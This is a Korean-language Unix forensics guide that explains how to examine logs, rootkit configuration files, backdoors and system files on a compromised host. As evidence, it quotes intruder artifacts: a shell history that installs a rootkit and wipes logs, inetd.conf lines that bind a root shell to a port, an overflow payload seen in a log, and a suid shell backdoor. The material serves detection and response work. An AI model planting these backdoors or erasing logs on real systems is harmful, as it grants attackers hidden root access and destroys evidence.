telnet, ftp, pop 등사용자인증을요하는모든네트워크서비스에대한로그를포함하고있다. vi 편집기로확인가능

# cat /var/log/secure Apr 8 18:45:38 insecure in.rshd[4722]: connect from 123.45.2.159 Apr 8 18:45:38 insecure in.rlogind[4724]: connect from 123.45.2.159 Apr 8 18:45:38 insecure in.ftpd[4726]: connect from 123.45.2.159 Apr 8 18:45:38 insecure in.fingerd[4728]: connect from 123.45.2.159 Apr 8 18:45:38 insecure in.telnetd[4725]: connect from 123.45.2.159 Apr 8 19:03:07 insecure in.ftpd[4742]: connect from 123.45.2.159 Apr 11 18:23:07 insecure in.telnetd[6528]: connect from 123.45.2.14 Apr 11 18:23:13 insecure login: LOGIN ON 1 BY hcjung FROM hcjung Apr 11 19:21:11 insecure in.telnetd[6583]: connect from 123.45.2.14 Apr 11 19:21:21 insecure login: LOGIN ON 1 BY hcjung FROM hcjung Apr 12 01:53:12 insecure login: ROOT LOGIN ON tty1 Apr 12 02:42:54 insecure in.ftpd[607]: connect from 123.45.2.161 Apr 12 23:58:29 insecure in.telnetd[1095]: connect from 123.45.2.14 Apr 12 23:58:35 insecure login: LOGIN ON 2 BY hcjung FROM hcjung Apr 13 00:15:30 insecure in.telnetd[1134]: connect from 123.45.2.14 Apr 13 00:15:41 insecure login: LOGIN ON 2 BY hcjung FROM hcjung 위의로그에서 Apr 8 18:45:38 에 123.45.2.159로부터 rsh, rlogin, ftp, finger, telnet 등에대한접속요청이있었음을볼수있다. 한사용자가정상적인방법으로는도저히짧은시간 (1초) 안에이들서비스요청을할수없다. 이로그를통해 123.45.2.159로부터 multiple 스캔공격이있었음을쉽게알수있다. loginlog, btmp loginlog, btmp를확인함으로써 brute-force 공격과같은패스워드시스템에대한공격을확인할수있다. loginlog 파일은 Solaris를포함한 System V 계열의유닉스에서실패한로그인시도를기록하는파일로서기본적으로제공되지는않으며다음과정을통하여생성한며 vi 등의편집기로확인할수있다. # touch /var/adm/loginlog # chown root /var/adm/loginlog # chmod 600 /var/adm/loginlog 리눅스시스템에서는실패한로그인시도에대해서 btmp 파일에로그를남긴다. lastlog 파일과마찬가지로시스템관리자가 btmp 파일을생성시켜주어야하는데, lastlog 파일의생성과정과마찬가지로 /var/log/btmp 파일을생성한다. btmp 파일은 lastlog와는달리 binary 형태의파일이다. 이내용을확인하기위해서는 "lastb" 라는명령을사용한다.

sulog su(substitute user) 명령어를사용한결과가저장되는파일이다. utmp/wtmp 파일과의관계를검토해볼필요가있다. su 명령어와 utmp/wtmp 파일과의관계는다음과같다. - su 명령어를이용하여정상적인절차를거쳐해당사용자 ID로변환하게되면 su 명령어를수행한사용자의 effective UID가변환된사용자의 UID로변경된다. 그러나이와같은내용은 utmp와 wtmp에반영되지않는다. - 특히 su - userid" 와같이하면해당사용자 (userid) 로의변환뿐만아니라해당사용자의사용환경으로완전하게변환되게되므로해당사용자의로그인쉘과똑같이사용가능하다. 공격자가일반사용자권한으로침입한후 su 명령을이용하여 root 권한으로바꾼후여러가지작업을하였다고하더라도 last 명령만으로는이공격자가 root 권한을획득했는지알수없다. sulog를통하여특정사용자로부터의수퍼유저에대한변환시도는시스템관리자권한의불법적인사용시도를의심해볼필요가있다. 다음은 sulog의결과이다. # more /var/log/sulog SU 04/18 09:10 - pts/8 hcjung-root SU 04/18 09:10 - pts/8 hcjung-root SU 04/18 09:10 + pts/8 hcjung-root hcjung라는사용자계정이두번의실패후에 root 권한으로변환에성공한것을알수있다. 공격자가생성한불법계정이나공격자가사용한계정과관련된 sulog는주의깊게점검하여야한다. xferlog xferlog는 ftp 데몬을통하여송수신되는모든파일에대한기록을제공하므로접속시간과 remote 시스템의적정성, 그리고로그인사용자, 송수신한파일이해킹툴이나주요자료인지여부를집중적으로조사해야한다. xferlog 파일에는다음의정보가저장된다. 다음은 xferlog의예이다. # more /var/log/xferlog Sat Apr 21 00:53:44 2001 1 violet93.kisa.or.kr 14859 /dev/.../statdx2.c a _ i r root ftp 1 root c

Sat Apr 21 00:54:09 2001 1 violet93.kisa.or.kr 821 /etc/shadow a _ o r root ftp 1 root c 위의로그에서 violet93 호스트에서 ftp 서버에접속하여 /dev/.../ 디렉토리에 rpc.statd 공격용툴인 statdx2.c 파일을설치하였고, 이서버로부터 shadow 파일을유출해간것을알수있다. 이같은로그가남았을경우 /dev/.../ 디렉토리가실제존재하는지확인하고, 그 hidden 디렉토리내에있을수있는각종공격툴이나공격결과물들을분석할필요가있을것이다. 또한 shadow 파일이유출되어 Crack에의해사용자패스워드가노출되었을가능성이있으므로패스워드교체작업도필요할것이다. acct, pacct 사용자별로실행되는모든명령어를 acct 또는 pacct 파일에기록한다. acct/pacct 파일은사용자별로사용한명령어를구분하는데유용하게사용될수있지만, 사용된명령어의 argument와그명령어가시스템내어느파일시스템의어느디렉토리에서실행되었는지는기록하지않으므로공격자들의행위를추적하기에는부족한점이많다. acct/pacct 또한기본적으로설정되어있지않은상태이며, 관리자가 accounting을하도록설정하여야한다. 설정방법은 System V계열과 BSD 계열이약간다르다. System V 계열유닉스에서의 accounting SVR4 시스템에서는일반적으로다음과같이 startup 명령어에의하여 accounting 이시작된다. # startup 파일이름 pacct 파일에 accounting 정보가저장되고 acctcom명령으로읽을수있다. accounting 은유닉스커널에의해서수행되며, 프로세스가종료될때마다커널은 32바이트레코드를 pacct파일에저장한다. BSD 계열유닉스에서의 accounting BSD 계열유닉스에서는일반적으로다음과같이 accton 명령을실행하여 accounting이시작된다. # accton 파일이름 파일이름은 accounting 정보를저장할파일이름을지정해주는것으로서일반적으로해당경로명내의 acct 파일이다. 이파일의내용은 lastcomm 명령어로읽을수있다. history 파일 history 파일은각사용자별로수행한명령을기록하는파일로써, csh, tcsh, ksh, bash 등사용자들이사용하는쉘에따라.history,.bash_history 파일에기록된다. 해킹피해시스템

분석시불법사용자계정이나 root 계정의 history 파일을분석함으로써, 공격자가시스템에접근한후수행한명령어들을확인할수있다다음은한해킹피해시스템에서가져온 history 파일이다. # more /root/.bash_history mkdir." " cd." " ncftp ftp.tehcnotronic.com gunzip *.gz tar -xvf *.tar cd lrk4 make all cd.. rm -Rf lrk4 ncftp ftp.technotronic.com gunzip *.gz tar -xvf *.tar ls rm lrk4.src.tar tar -xvf *.tar cd lrk4 make install cd.. cd.. rm -Rf." " pico /dev/ptyr mkdir /usr/sbin/mistake.dir rm /var/log/messages rm /var/log/wtmp touch /var/log/wtmp pico /etc/passwd reboot exit 위의일련의 history는공격자가 hidden 디렉토리를생성하고루트킷 (lrk4) 를다운로드받아첫번째설치실패후 2번째설치에성공하였으며, 로그파일들을지운후시스템을리부팅한것을볼수있다. 정상적인로그인절차를거치지않고백도어포트로접속하여쉘을부여받았을경우는 root 의홈디렉토리 ( 리눅스시스템의경우 /root/) 에.bash_history 파일이생성되다. /.bash_history 파일이존재한다면해킹을의심해보아야한다. 일반적으로리눅스시스템에서사용자홈디렉토리를 / 로사용하지않음을명심하자.

messages 콘솔상의화면에출력되는메시지들은 messages 로그파일에저장이된다. messages 로그파일은대단히방대한정보를포함하고있다. 시스템관리자가시스템장애원인을찾아내기위해서도 messages 파일을점검한다. 이파일에는파일시스템 full, device failure, 시스템설정오류등의다양한내용을가지고있다. messages 파일에어떤취약점으로인해공격을받았는지에대한흔적을남기고있기때문이다. 다음의국내해킹피해시스템 (Solaris 2.6) 의 messages 로그를보자. Apr 10 17:25:53 victim /usr/dt/bin/rpc.ttdbserverd[29906]: _Tt_file_system::findBestMountPoint -- max_match_entry is null, aborting... Apr 10 17:25:54 victim inetd[147]: /usr/dt/bin/rpc.ttdbserverd: Segmentation Fault - core dumped Apr 10 17:26:03 victim /usr/dt/bin/rpc.ttdbserverd[8206]: iserase(): 78 Apr 10 17:26:14 victim inetd[147]: /usr/sbin/sadmind: Bus Error - core dumped Apr 10 17:26:18 victim last message repeated 1 time Apr 10 17:26:21 victim inetd[147]: /usr/sbin/sadmind: Segmentation Fault - core dumped Apr 10 17:26:23 victim inetd[147]: /usr/sbin/sadmind: Hangup Apr 10 17:31:20 victim login: change password failure: No account present for user Apr 10 17:33:15 victim last message repeated 2 times Apr 10 17:40:30 victim inetd[147]: /usr/dt/bin/rpc.ttdbserverd: Killed Apr 10 17:40:30 victim inetd[147]: /usr/dt/bin/rpc.cmsd: Killed 이로그는공격자가 4월 10일 17시 25분경부터 17시 40분까지 rpc.ttdbserverd, sadmind, rpc.cmsd 에대한공격흔적을보여주고있다. 공격자가공격한취약점들은모두원격지에서시스템관리자권한을취득할수있는것들이지만실제공격에성공했는지, 실패했는지는알수없다. 그런데공격이이루어진시간대에 /tmp/.x 파일이생성되었으며 ingreslock 포트 (1524) 에 root shell이바인딩되어있었다. 파일생성시간으로미루어 sadmind 공격이성공한것으로추측할수있다. # ls -alc /tmp/.x -rw-rw-rw- 1 root root 48 4월 10일 17:26 /tmp/.x # more /tmp/.x ingreslock stream tcp nowait root /bin/sh sh -i 아래의공격흔적은리눅스시스템의 amd 버퍼오버플로우공격이기록된것이다. messages.1:mar 11 05:20:50 xxx 27>Mar 11 05:20:50 amd[468]: amq requested mount of 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱

릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱^N됈3핃F^L뉶^W뉶^Z?K? 腕 18 Jan 1998--str/bin/sh(-c)/bin/echo '2222? stream tcp nowait root /bin/sh s릱릱릱릱릱릱먮 (^ 그결과로써로그에남은공격시간과일치하는시각에 root 소유의파일이생성되고역시 2222 포트에 root shell이바인딩되었다. [/tmp]# ls -l -rw-rw-rw- 1 root root 116 Mar 11 05:20 h [/tmp]# more h 2222 stream tcp nowait root /bin/sh sh -i 2222 stream tcp nowait root /bin/sh sh -i 하지만, 이처럼 messages 로그에공격기록이남았다고해서모두공격에성공하였다는것은아니다. 실패한공격또한로그에남을수있으며, 반대로공격에성공하더라도기록되지않을수도있다. snmpxdmid 취약점에대한공격의경우공격에성공하더라도 messages에는아무런로그를남기지않았다. 하지만대부분의네트워크데몬과응용프로그램은버퍼오버플로우공격에의한비정상적인 argument의입력을 syslog 로깅데몬을통하여 messages 파일에기록하므로해킹당한취약점분석에대단히유용한정보를제공한다. messages 파일분석을통해공격에이용된취약점을분석할수있는것이외에도보안과관련된또다른정보들을제공해주기도한다. 가령, 해킹을당한후많은공격자들은시스템에 Sniffer를설치하여네트워크를모니터링한다. Sniffer가실행되게되면네트워크인터페이스카드는 Promiscuous 모드로설정되게되는데 ifconfig 명령을이용하여현재의네트워크인터페이스카드의상태를확인할수도있다. 하지만 messages 파일에는현재의네트워크인터페이스카드의상태뿐만아니라네트워크인터페이스카드가언제부터언제까지 Promiscuous 모드상태였는지에대한정보를가지고있어, 공격자의행위추적에더상세한자료를제공한다. messages:apr 24 01:55:22 insecure kernel: device eth0 entered promiscuous mode messages:apr 24 06:33:07 insecure kernel: device eth0 left promiscuous mode 위의로그는이시스템이 4월 24일새벽 01시 55분에 Promiscuous 모드로설정되어 ( 스니퍼가실행되어 ) 06시 33분에해제된것을볼수있다. 그러면, SYN flooding 같은서비스거부공격을당했을경우에도로그를남길까? 아래의로그는솔라리스시스템에서남긴 SYN flooding 공격흔적이다. Aug 26 10:33:41 victim unix: WARNING: High TCP connect timeout rate! System (port 80) may be under a SYN flood attack!

Aug 26 10:53:28 victim unix: WARNING: High TCP connect timeout rate! System (port 80) may be under a SYN flood attack! Aug 26 11:07:42 victim unix: WARNING: High TCP connect timeout rate! System (port 80) may be under a SYN flood attack! Aug 26 11:15:16 victim unix: WARNING: High TCP connect timeout rate! System (port 80) may be under a SYN flood attack! 이외에도 messages 파일에는 su 실패에대한로그, 특정데몬이죽은로그, 부팅시에발생된에러등정말다양한로그들을남기고있다. 이처럼다양한로그를남기다보니로그의양이시스템사용이많은경우하루에만수천라인이기록된다. 따라서, 이들을처음부터끝까지하나하나보기에는힘들므로, grep 명령을이용하여특정단어가들어간로그만을확인할수있다. 즉, ttdbserver", "sadmind", "cmsd", "pop", "statd", "mount" 등공격에사용되는취약점이들어간로그를 grep으로걸러내거나, "failed", "failure", "denied", "promiscuous" 등의단어가포함된기록들도살펴볼필요가있다. 그리고, 해킹이의심이가는시간부터의 messages 로그는하나하나시간순으로로그를분석하는인내심도필요하다. access_log, error_log 웹서버에서도어느사이트에서시스템에접속하였으며, 어느파일이다운로드되었는지에대한기록이 access_log 파일에기록되고, 존재하지않는파일에대한접근등의에러에대해서는 error_log에기록이된다. CGI 프로그램에대한공격로그도이들로그파일에기록된다. 다음은중국 (61.146.132.137) 지역에서취약한 CGI 프로그램을찾는스캔공격이웹로그에기록된것이다. [Sat Mar 3 00:24:40 2001] [error] [client 61.146.132.137] script not found or unable to stat: /usr/local/apache/cgi-bin/php.cgi [Sat Mar 3 00:24:40 2001] [error] [client 61.146.132.137] script not found or unable to stat: /usr/local/apache/cgi-bin/php [Sat Mar 3 00:24:40 2001] [error] [client 61.146.132.137] script not found or unable to stat: /usr/local/apache/cgi-bin/handler [Sat Mar 3 00:24:43 2001] [error] [client 61.146.132.137] script not found or unable to stat: /usr/local/apache/cgi-bin/webgais [Sat Mar 3 00:24:43 2001] [error] [client 61.146.132.137] script not found or unable to stat: /usr/local/apache/cgi-bin/websendmail [Sat Mar 3 00:24:43 2001] [error] [client 61.146.132.137] script not found or

unable to stat: /usr/local/apache/cgi-bin/guestbook [Sat Mar 3 00:24:43 2001] [error] [client 61.146.132.137] script not found or unable to stat: /usr/local/apache/cgi-bin/webdist.cgi... 6.1.2 artifact 조사 루트킷 (rootkit) 조사 루트킷의종류는매우많으며갈수록업그레이드되고새로운것들이만들어지고있다. 현재많이사용되고있는것은 lrk3, lrk4, lrk5, t0rn, kit, Ambient's Rootkit 등이다. 루트킷은주로공격자에의해위장되어숨겨져있기때문에조사에서가장중요한것은얼마나많은종류와그특성을알고있는가이다. 검사방법은아래와같다. - MD5 나 Tripwire 등을이용하여무결성체크를통하여검사한다. 무결성검사를위한백업본이없을경우비슷한시스템의체크섬을이용검사한다. - truss 명령을이용하여정상적인명령과의심이가는명령을비교검사한다. 위조된명령어 (ls) 의경우 /dev/ptyr 파일을참조함 - Chkrootkith (ttp://www.chkrootkit.org/) 과같은도구를이용하여검사한다. 6.4의공개도구를이용한분석참조 루트킷디폴트설정파일 - lrk5 ( Linux ) /dev/ptyr : ls 명령으로부터숨기고싶은파일이나디렉토리를지정 /dev/ptyq : netstat 명령으로부터숨기고싶은특정 IP 주소, UID, 포트번호를지정 /dev/ptyp : ps 명령으로부터숨기고싶은프로세스지정 - Ambient's Rootkit ( Linux ) /dev/ptyxx/.log : syslogd에기록되지않게하고싶은문자열지정 /dev/ptyxx/.file : ls 명령으로부터숨기고싶은파일이나디렉토리를지정 /dev/ptyxx/.proc : ps 명령으로부터숨기고싶은프로세스지정 /dev/ptyxx/.addr : netstat 명령으로부터숨기고싶은특정 IP 주소, UID, 포트번호지정 - t0rn kit /usr/src/.puta/.lfile : ls 명령으로부터숨기고싶은파일이나디렉토리를지정 /usr/src/.puta/.lproc : ps 명령으로부터숨기고싶은프로세스지정 /usr/src/.puta/.laddr : netstat 명령으로부터숨기고싶은특정 IP주소, UID, 포트번호지정 - Rootkit for SunOS

/dev/ptyp : ps 명령으로부터숨기고싶은프로세스지정 /dev/ptyq : netstat 명령으로부터숨기고싶은특정 IP주소, UID, 포트번호지정 /dev/ptyr : ls 명령으로부터숨기고싶은파일이나디렉토리를지정 Rootkit 으로대체된주요명령어의역할 - du : 스니퍼, 로그파일, Configuration 파일숨김 - ifconfig : 스니퍼구동내역숨김 - login : 원격접근을허용하는백도어 - ls : 스니퍼, 로그파일, Configuration 파일숨김 - netstat : 침입자의네트웍접속숨김 - ps : 침입프로그램및스니퍼프로세스숨김 - top : 프로세스를숨김 - inetd : 원격접근을허용하는백도어 - crontab : 특정 crontab 내용을숨김 - syslogd : 로그름숨김 - passwd : 일반사용자에게 root 권한을줌 - sshd : 원격접근을허용하는백도어 - z2 : utmp, wtmp, lastlog 삭제프로그램 - find : 지정된내용을숨겨줌 참고자료 : CERTCC-KR-TR-2001-07 UNIX 피해시스템분석및침입자모니터링 : Part I v1.0 커널기반루트킷 (Kernel Rootkit) 조사 커널루트킷이설치된이후에는탐지및제거가다른트로이목마나일반루트킷에비해서상당히힘들기때문에가장좋은대응방법은해킹당하지않도록예방하는것이고 stmichael_lkm(http://sourceforge.net/projects/stjude) 등의도구를이용하여커널루트킷이설치되지못하도록통제하는것이다. 커널기반루트킷이설치된경우찾기가매우어려우나특정백도어의경우아래와같은방법을이용할수있다. 설치된커널루트킷을이용한방법 knark의경우 "kill -31" 로모든프로세서를숨기는데사용하는데 kill -32" 를이용하여이숨겨진프로세스를보여지게할수있다. 하지만 31,32와같은 knank의디폴트시그널번호가바뀌지않은상태에서만가능하다. 커널루트킷이사용하는환경파일검색일반적인루트킷에서도 /dev/ 디렉토리아래에 ptyp,ptyq와같은환경파일들이존재하는데 knark 도 /proc/knark 디렉토리아래에 author, files, nethides, pids, redirects 등과같은파일들이디폴트로생성되므로이파일들을찾음으로써 knark의존재여부를알수있다. 하지만이파일들도보통은컴파일시수정되다.

커널루트킷전용탐지도구를사용 knark 0.59, adore 0.14,0.2b,0.24 의경우 Rkscan이라는도구를이용하여찾을수있고 Kstat, carbonite, StMachael등을이용하는것이일반적이다.SucKIT의경우 syscall 테이블을건드리지않고 system_call 코드를수정하므로위와같은도구로는찾을수없다. SucKIT의경우 PatchFiner(http://www.phrack.org/show.php?p=59&a=10) 을사용하여찾을수있다. 6.4 공개도구를이용한분석참조 참고자료 : 커널기반루투킷분석보고서, 정현철 (http://www.certcc.or.kr/paper/incident_note/in2000004.html) LKM 루트킷탐지, 이계찬, 이현우 (http://www.securitymap.net/sp/docs/detecting-lkmv20.rtf) Kstat (http://www.s0ftpj.org/en/site.html) Cabonite (http://www.foundstone.com) 백도어 (BackDoor) 조사 공격자는주로자신이침입한시스템에쉽고은밀하게접근하기위하여백도어를만들어놓는경우가많다. 백도어의형태가매우다양하고교묘하게만들어설치하기때문에완전히제거했다고확신할수없다. 그러므로백도어가발견된피해시스템은다시설치하는것이가장바람직하다. 패스워드백도어 (Password Backdoor) 고전적인방법으로정상적인로그인과구별하기힘들다. 패스워드파일에 uid 가 0인계정 ( 관리자권한을가진계정 ) 이나일반사용자를추가하는탐지가쉬운방법을사용하기도하나. 보통 history 파일, 로그인기록을세심히분석해야만찾을수있다. 일반사용자계정을추가한경우는 /bin/sh" 프로그램을다른이름으로복사하고 suid, sgid를설정하는방법을아래와같이사용한다. [lotus@linux tmp]$ ls -al./.sha -rwsr-xr-x 1 root root 373176 Jan 30 17:24./.sha* [lotus@linux tmp]$ id uid=506(lotus) gid=506(lotus) groups=506(lotus) [lotus@linux tmp]$./.sha [lotus@linux tmp]# id uid=506(lotus) gid=506(lotus) euid=0(root) groups=506(lotus) [lotus@linux tmp]# 시스템에는정상적인 suid, sgid 파일이매우많이존재하므로시스템설치시아래와같은명령을이용하여 suid, sgid가설정된파일에대하여목록을만들어두는것이좋다. find / -type f -perm -04000 -ls > Suid030514 find / -type f -perm -02000 -ls > Sgid030514

Login 백도어공격자는 login 프로그램을수정하여특정패스워드가입력되면관리자 (root) 권한으로로그인될수있도록만든다. - 시스템설치시간과 login 프로그램파일의생성시간을비교 - strings" 명령으로 login 프로그램에서특정함패스워드문구가있는지확인 - truss 명형으로정상적인 login 프로그램과비교 설정파일백도어 inetd.conf 와같은서비스를제공하는설정파일을변조하거나 rc.* 등의시작스크립트파일에백도어를띄우는명령을설정하는방법이주로사용되며.rhosts 파일에 + + 를삽입하여 rlogin,rsh 명령을이용하여패스워드없이로그인할수있도록한고전적인방법이있다. (6.2 시스템파일분서참고 ) Cronjob 백도어일반적으로특정시간에악성프로그램을실행시키도록 cron 테이블에백도어를만드는방법을사용하나루트킷을이용하여 cron 테이블에등록되어있는정상적인프로그램을트로잔프로그램으로바꾸어관리자가 cron 테이블을검사하더라도이상한것을발견하지못하도록하는방법도이용된다. 네트워크백도어네트워크백도어는트레픽을숨기기고 Firewall을우회하기위하여사용되며주로특정포트번호를사용하지만관리자가쉽게알아낼수있기때문에일반적으로사용되는 ping 과같은포트를사용하기도한다. - TCP shell 백도어주로특정포트번호를사용하나 SMTP와같이흔히사용되는포트를이용 netstat 명령, nmap 등의포트스캐너에서찾을수없도록하여해당포트가백도어인지정상적서비스인지구별하기힘들게사용되기도한다. - UDP shell 백도어 UDP 패킷을이용한백도어로 TCP 처럼커넥션을이루지않기때문에, netstat 명령으로공격자가접속하는것을알아내지못하고 Firewall에서열려진 UDP 포트를사용하여 Firewall을우회할수도있다. 하지만 nmap 등의포트스캐너를이용하면찾을수있다. - ICMP shell 백도어 icmp 백도어는 ping 패킷에데이터를싫어전달하는백도어로 covert channel 이라고도한다. 관리자는단순히 ping이오고가는것으로만판단하게되며, 이를탐지하기위해서는 ping 데이터패킷을분석해야만한다. DDoS 도구인 TFN에서사용되었다.

Library 백도어프로그램의크기를줄이기위해사용되는공용라이브러리 (shared Libraries) 에백도어를설치하는것으로예를들면 login 프로그램이사용하는 crypt() 루틴에루트쉘백도어를설치하는것을들수있다. File System 백도어많은공격자들은자신이사용하는공격프로그램, 스니퍼데이터, 소스코드등을저장하기위해파일시스템을이용하며, 그리고이를보이지않도록숨기기위하여위조된 ls, du 등과같은루트킷프로그램을이용한다. 하지만이는숙련된관리자에의해쉽게노출될수있다. 따라서좀더고수준의공격자는일반파일시스템을이용하기보다는하드드라이브에자신만이접근할수있는부분을만들어놓고이를이용하기도한다. 일반관리자에게이부분은 bad sector" 로만보일것이다. 참고자료 : UNIX 피해시스템분석분석및침입자모니터링 (http://www.certcc.or.kr/paper/tr2001/tr2001-03/scene-of-the-crime.pdf) 6.2 시스템파일분석 침해시스템에남아있는시스템파일을분석함으로써숨겨진백도어또는그에대한단서를찾아내거나침입자의행동을파악할수있다. 상세한분석방법은다음과같다. cron과 at. 으로수행되는모든파일을검사한다. 침입자가 cron과 at 명령으로수행되는파일들에백도어프로그램을남겨두는경우가종종발견된다. 그러므로관리자는수상한프로그램이 cron 명세에있는지 cron 명세에존재하는 정상적으로보이는 프로그램이혹시변조된것이아닌지를확인하여야한다. - 침입자는보통 cron과 at 명령으로수행되는파일들에백도어프로그램을남겨둔다. 그러므로이러한프로그램으로수행되는파일들을쓰기금지로설정하여야한다. - /var/spool/cron/crontabs/ 디렉토리의모든파일, 특히 root' 파일을점검한다. - /var/spool/cron/atjobs/ 디렉토리의모든파일을조사하여야한다. rc.boot, rc.local(sysv : /etc/rc?.d/*) 나기타시스템시작시실행파일들을점검한다. - 시작스크립트파일에백도어를띄워주는명령라인을삽입하는방법이다. 이는시스템이재부팅되더라도백도어가실행될수있게하여공격자가이를언제든이용할수있도록한다. - 시작스크립트에지정된백도어가 rootkit과함께설치되면이를찾기가힘들어진다. - sendmail.cf, hosts.allow, at.allow, at.deny, cron.allow, hosts, hosts.lpd 등의시스템구성파일들을점검한다. "aliases" 는메일확장을위한것인데, "uudecode" 등과같은것을가지고있을수있다. /etc/passwd 파일을조사하여변경된부분이있는지확인한다.

- 추가된계정, 패스워드의생략, uid(0로의 ) 의변경여부를확인한다. - news, sundiag, sync 등의계정에대해서 /bin/false로되어있는지점검하고 /bin/sh 등으로되어있어서는안된다. 시스템과네트워크설정파일의인가받지않은항목을조사한다. - /etc/inetd.conf를조사하여인가받지않은추가되거나변경된서비스를조사한다. 특히쉘을수행할수있는 /bin/sh나 /bin/csh을사용하는서비스가있는지조사한다. 다음의예는공격자에게백도어를제공하는 inetd.conf 파일의내용이다. 예 ) /etc/inetd.conf 파일 ingreslock stream tcp nowait root /bin/sh sh -i xinetd의경우 /etc/xinetd.d/ 디렉토리아래에각각의파일로서비스를제공하므로해당디렉토리에의심스러운파일이있는지확인한다. - /etc/services 파일에서침입자가추가한불법프로그램서비스가있는지점검한다. - /etc/hosts.equiv, /etc/hosts.lpd과모든.rhosts 파일에 '+' 항목이있는지조사해서제거한다. 만약침입자가 "#" 을기계이름으로정의하였다면누구나신뢰하는호스트로정의된다. - 인가받지않은네트워크모니터링프로그램의사용을조사한다. 침입자는사용자의계정과패스워드정보를얻거나, 자신의존재를숨기거나, 또다른시스템을공격하기위해다양한프로그램을피해시스템에설치하여사용한다. tftp를사용하지않든가, 사용하기를원한다면 "-s" 플래그를사용한다. 이경우는대부분디스크없는워크스테이션을위한경우인데, 적절하게 NFS를이용할수도있다. 이것을 root 로실행하지않도록하며, /etc/inetd.conf에서다음과같이바꾼다. tftp dgram udp wait nobody /usr/etc/in.tftpd in.tftpd -s /tftpboot 혹은원치않는곳에서의접근을막기위해 tcp_wrapper에서 tftpd에한부분을고치고모든접속상황을로그로남긴다. tftp dgram udp wait nobody /usr/etc/tcpd in.tftpd -s /tftpboot 혹은 /etc/hosts.allow 에서정의된곳에서만접근할수있도록조정한다. 모든사용자의.rhosts,.forward 등을점검한다. 만약.rhosts가 "+" 를가지고있으면어떠한시스템에서도패스워드체크없이접근할수있다. COPS는다음과같은체킹스크립트를가지고있다. # find / -name.rhosts -ls -o -name.forward -ls

의심스러운모든파일의생성및수정시간을점검하는데다음을이용한다. # find / -ctime -2 -ctime +1 -ls 이것은이틀전에서하루이후에수정된파일을찾아준다. 모든.login,.logout,.profile,.cshrc 들도적어도수정일및시간등을점검하며,.rhosts 파일이잠궈진것은없는지확인한다. 비정상적인 setuid, setgid 파일의존재여부를조사한다. 침입자는종종추후에루트권한으로접속하기위해 /bin/sh 또는 /bin/time과같은백도어파일을남겨둔다. 그러므로, 다음의방법으로 setuid, setgid 파일들을찾아이상유무를확인할수있다. # find / -user root -perm -4000 -print # find / -group kmem -perm -2000 -print NFS/AFS 마운트시스템에서는다음과같은명령어를이용한다. #find / -user root -perm -4000 -print -xdev setuid 파일을찾는다른방법으로각각의파티션에대해적용하는 ncheck 가있다. # ncheck -s /dev/rsd0g 조사시매우많은 setuid, setgid 파일때문에숙달된관리자가아니면비정상적인것을찾아내기힘들기때문에설치시미리저장을해놓고비교하는것이바람직하다. 시스템에숨겨지거나 '.' 으로시작하는특이한파일이있는지조사한다. 특히 /tmp,/var/tmp, /usr/spool/* 나공개적으로쓰기를할수있는디렉토리를주의깊게본다. - ls 명령어로보이지않는파일을조사한다. # find / -name ".. " -print -xdev # find / -name ".*" -print -xdev cat -v - 일반적으로 '.xx' 파일이나 '.mail' 파일이침입자에의해이용된다. history 파일을점검한다. - 공격자가 history 파일을삭제하지않았다면, 이파일에서상당히유용한정보를얻을수있다. 따라서먼저 root나의심스러운사용자홈디렉토리의 history 파일을점검한다.

시스템의바이너리파일의변경여부를조사한다. 침입자는 /etc/inetd.conf 가참조하는다음과같은파일들을변경한다. login, su, telnet, netstat, ifconfig, ls, find, du, df, libc, sync 등백업된초기파일과현재의파일을비교하기위한유닉스의 sum 명령어는트로이쟌프로그램에의해믿지못하는결과를나타낼수있으므로다음프로그램을사용하여검증한다. cmp, MD5, Tripwire, 기타다른암호화검사유틸리티들 지워진파일의내용을조회하거나복구하여조사한다. TCT(The Coroner's Toolkit : http://www.fish.com/forensics/) 의 icat을이용할수있다. 이는유닉스에서 rm으로파일삭제시실제데이터를지우는것이아니라 inode의정보만을지우기때문에가능하다. 복구방법은아래와같다. #./icat /dev/hda7 66731 // /etc/passwd의 inode번호가 66731일때 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin daemon:x:2:2:daemon:/sbin... 공격자가의심스러운프로세스를실행시켜놓고원래파일을지웠을경우에도 lsof로단서를찾아복구할수있다. # lsof COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME sshd 445 root txt REG 3,7 224732 97455 /usr/sbin/sshd... #./icat /dev/hda7 97455 > sshd.recovered icat을사용하려면원하는파일의 inode 번호를알아야한다. 삭제된파일을포함한시스템의모든파일의 inode 번호를알아내기위해서 ils를사용할수있다. ils 역시 icat과마찬가지로 TCT에포함되어있다. 방법은아래와같다. #./ils -e /dev/hda7 > inode.lst

6.3 시스템상태분석 ( 휘발성정보분석 ) 공격자는언제든시스템을변경하거나파괴할수있다라는사실을주지하여야한다. 따라서공격흔적을더이상훼손되지않도록보존하려고할경우에는시스템을셧다운시키거나네트워크선을분리할수있다. 하지만이러한작업은공격자의로그인상태, 네트워크연결상태등피해시스템의몇몇중요한현재상태정보를잃게만든다. 따라서, 피해시스템을격리하기전에현재의시스템상태를정확히파악하여야한다. 이는범죄현장을손상없이그대로보존하는것과같다. 비록 rootkit 또는 backdoor 등으로인하여거짓정보가나타날수도있지만 - 범죄자가범죄현장을위조하는것과비슷 - 이에대한자세한분석은이후의절차에따라수행하여야한다. 이러한피해시스템상태에대한정보수집은온라인상태에서분석할경우에도필요하며이후의분석작업을쉽게해준다. 6.3.1 휘발성정보수집 다음과같은명령을사용하여피해시스템의현재프로세스, 주요설정파일, 열린파일, 로그인사용자정보, 네트워크상태등에대하여따로기록하여보관한다. - "find / -atime -ndays -ls" : ndays 이전시점부터현재까지 access된모든파일을찾아준다. - "find / -mtime -ndays -ls" : ndays 이전시점부터현재까지변경된모든파일을찾아준다. - "find / -ctime -ndays -ls" : ndays 이전시점부터현재까지 inode가변경된모든파일을찾아준다. 하지만이는파일의접근시간 (atime) 을변경시킨다. 